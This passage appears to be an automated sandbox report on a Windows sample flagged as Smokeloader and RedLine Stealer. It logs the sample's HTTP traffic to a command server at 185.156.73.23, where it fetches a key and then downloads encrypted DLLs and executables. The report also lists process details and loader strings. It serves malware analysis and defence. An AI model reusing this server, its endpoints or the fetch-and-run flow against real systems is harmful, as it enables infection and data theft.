Dec 20, 2024 16:28:21.436347008 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:21.436357975 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:21.436391115 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:21.437175989 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:21.437222004 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:21.437242985 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:21.437305927 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:24.477334023 CET	80	49730	185.156.73.23	192.168.2.4
Dec 20, 2024 16:28:24.477616072 CET	49730	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:28:47.614061117 CET	49730	80	192.168.2.4	185.156.73.23

HTTP Request Dependency Graph

185.156.73.23

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.156.73.23	80	6780	C:\Users\user\Desktop\dI3n4LSHB7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:27:44.064897060 CET	414	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:27:45.458590031 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:27:45 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:27:45.476959944 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:27:45.956413984 CET	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:27:45 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 20, 2024 16:27:46.019958019 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:27:46.576726913 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:27:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 20, 2024 16:27:46.576798916 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 20, 2024 16:27:46.576893091 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 20, 2024 16:27:46.577147007 CET	672	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 20, 2024 16:27:46.577183008 CET	1236	IN	Data Raw: 5a 4e 90 47 87 8d 31 4d 04 f3 b2 8f b5 ec 0b 34 86 f5 8a 59 cc e1 31 db ef 09 6f 5f de 50 ce 55 7c bf 37 d2 26 b8 77 5e 1f 27 ab 58 1f ee ce 9b bf 8d 85 b2 80 b7 5a 06 25 9d b3 27 1c c8 e3 6c 36 e5 a3 7d 22 17 b3 13 00 d6 07 77 28 09 24 fc 89 30 Data Ascii: ZNG1M4Y1o_PU\|7&w^'XZ%'l6}"w($0_g8^T1bf4n\vl)OCoKaC#/\|fZyhc7LY=T(b8be@yo~YN_ozIe_*%BH1uObUR\|aXyt
Dec 20, 2024 16:27:46.577258110 CET	1236	IN	Data Raw: c0 da 67 42 4f 24 35 da 00 c2 9f 29 69 11 0c 49 94 a6 a7 92 c3 e7 14 45 de 79 b3 d8 e2 24 85 e6 7e c2 2a ec 32 fa 5b b8 db e4 ea 7c 97 4e cb e1 cc b0 1d f4 fb a3 05 75 fa 46 d0 b4 ab dc eb 81 ad f1 f2 0d 38 68 4a c0 b6 50 cd d7 bc 1f fb 5d 2b cf Data Ascii: gBO$5)iIEy$~*2[\|NuF8hJP]+P\|;3a__JnSgph=jkKOT3e13USC'{XJdey_ p[P<M%5:,rFTgYIR)"<N3ei-IQvtB
Dec 20, 2024 16:27:46.577291012 CET	1236	IN	Data Raw: ed f5 bb 67 1c b0 2e 96 1b 41 e2 4b e0 d0 c0 32 d7 54 d0 57 51 be 23 33 85 40 1d 3e 06 84 94 eb 5a 77 62 51 fd 8a 8b fe 9b 5e 14 3c 3b b6 5d 0d 8f 18 29 53 7a e3 4a 54 9e 1e 8f c8 d7 2e 61 9b 87 bb e4 ef bd c8 ac 33 94 fa df 50 e0 e1 f7 4e ef 39 Data Ascii: g.AK2TWQ#3@>ZwbQ^<;])SzJT.a3PN9Yn(X"h!rrn~O+;}?jjo-?1RXUC\|B\n2/}=.H,/Ta@IEh8\|[cbNVNzcY".n$GA
Dec 20, 2024 16:27:46.577366114 CET	1236	IN	Data Raw: 1a 2a 62 b4 ae 8a 5b 82 f2 2e 8d 4c f7 bc 4a 54 d2 2f 9c 5e d2 78 32 e3 23 07 42 8b dd c1 ad 98 37 2e 4a db d1 95 b9 bb 1a f0 cf e7 16 4b fc ec 93 ab e6 08 7e 4b 49 dc 0d 53 c5 8e 5f f2 c2 11 55 dc 53 1e 24 d4 8f 7e fa 25 60 68 8f b2 67 bd 27 d8 Data Ascii: b[.LJT/^x2#B7.JK~KIS_US$~%`hg'?CW[MQHSB-v0< c\tMc[T4Auxxc+hMgC]`=o8M}k+B[5Nx62G(%OrKv5H0Uq`42p0;U&
Dec 20, 2024 16:27:46.585448980 CET	1236	IN	Data Raw: 40 1b 4a eb 32 76 5f d3 fb 39 60 50 11 2c ac 7f 75 d5 41 17 9a ba 9a a5 65 e4 39 e7 ee 7b 3f e7 8d d7 54 c2 a5 72 c0 54 8a a5 b2 41 0c fc b8 f8 a6 99 6c 72 12 a8 98 67 28 3b fc fc c1 a9 30 6d fe 11 b8 f9 56 53 85 81 29 cb 26 d1 c8 94 83 58 a5 3c Data Ascii: @J2v_9`P,uAe9{?TrTAlrg(;0mVS)&X<V\/Z~_Jp;JOU6VQ9_n-\jsk7rixa#vyC\<7ws583v=w,"Zf`>]6%""4Y8}p+[a
Dec 20, 2024 16:27:46.585486889 CET	1120	IN	Data Raw: 2b 67 00 6f 36 93 8b 8f 53 25 a3 ee f6 cc 1a d2 6d 3a a3 c7 1f 80 c8 43 65 da 7d 01 a3 c8 c6 08 e5 c2 f8 af 3d 9e 77 c1 ae 46 51 3f 02 02 8d 16 23 36 00 5e 2a 1d fc e1 36 a7 cc 4b 30 26 1d 8f 5f 45 f5 89 69 ff aa 98 7d 6d 1c a5 a0 d0 73 f1 10 df Data Ascii: +go6S%m:Ce}=wFQ?#6^6K0&_Ei}ms' 0u't0h[9wBN:DGT;^WbIYzFs=fu.itu C{`94gkda6U#VoTT<{T
Dec 20, 2024 16:27:46.593570948 CET	1236	IN	Data Raw: c4 2b ef bd 7d 2c 43 08 ed 7b 6b 29 6e 0e 1f c4 b7 82 38 dd 6c d9 86 f4 10 35 b0 a5 85 fc 11 b1 d2 2f 8d 77 64 e2 a9 08 d7 d5 3c d2 4a 6a 78 59 69 0f 6c e4 a9 b3 24 c6 f4 58 9a 23 39 7d c7 13 4c f7 63 fc 1e b2 57 02 df 46 1e fd 6d 66 5c 34 7b 69 Data Ascii: +},C{k)n8l5/wd<JjxYil$X#9}LcWFmf\4{iEd"Fl@=l5scroIjyjGEQAQ.b3zH;7[R?b&=Z}BH(-uKDnVc]F?`(&z=eSO'gu)
Dec 20, 2024 16:27:47.196486950 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:27:47.688838005 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:27:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:27:49.712641954 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:27:50.203351974 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:27:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:27:52.244314909 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:27:52.741736889 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:27:52 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:27:54.810832977 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:27:55.323008060 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:27:54 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:27:57.384776115 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:27:57.871454954 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:27:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:28:00.071836948 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:28:00.560297012 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:28:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:28:02.603395939 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:28:03.089714050 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:28:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:28:05.118959904 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:28:05.604530096 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:28:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:28:07.649903059 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:28:08.133121967 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:28:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:28:10.165901899 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:28:10.651566029 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:28:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:28:12.682785988 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:28:14.202186108 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:28:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 16:28:17.290843964 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:28:18.011960983 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:28:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 20, 2024 16:28:18.506177902 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 16:28:19.232727051 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:28:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: dI3n4LSHB7.exePID: 6780, Parent PID: 2580

General

Target ID:	0
Start time:	10:27:34
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\dI3n4LSHB7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\dI3n4LSHB7.exe"
Imagebase:	0x400000
File size:	1'945'600 bytes
MD5 hash:	2725F2B0FFA89F08642D36CAF06C3CE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2421354084.0000000000D79000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 2652, Parent PID: 6780

General

Target ID:	7
Start time:	10:28:23
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6780 -s 480
Imagebase:	0xfa0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: dI3n4LSHB7.exePID: 6780, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	19.2%
Signature Coverage:	11.8%
Total number of Nodes:	1088
Total number of Limit Nodes:	22

Executed Functions

Function 00402C70 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 504
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402C96
SetLastError.KERNEL32(000000C1), ref: 00402CD8

Strings

alignedImageSize != AlignValueUp!, xrefs: 00402DB9
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402D4A
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402D38
Size is not valid!, xrefs: 00402C9C
ERROR_OUTOFMEMORY!, xrefs: 00402DEF
DOS header is not valid!, xrefs: 00402CC6
Section alignment invalid!, xrefs: 00402D5C
@, xrefs: 00402C8F
DOS header size is not valid!, xrefs: 00402D09

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

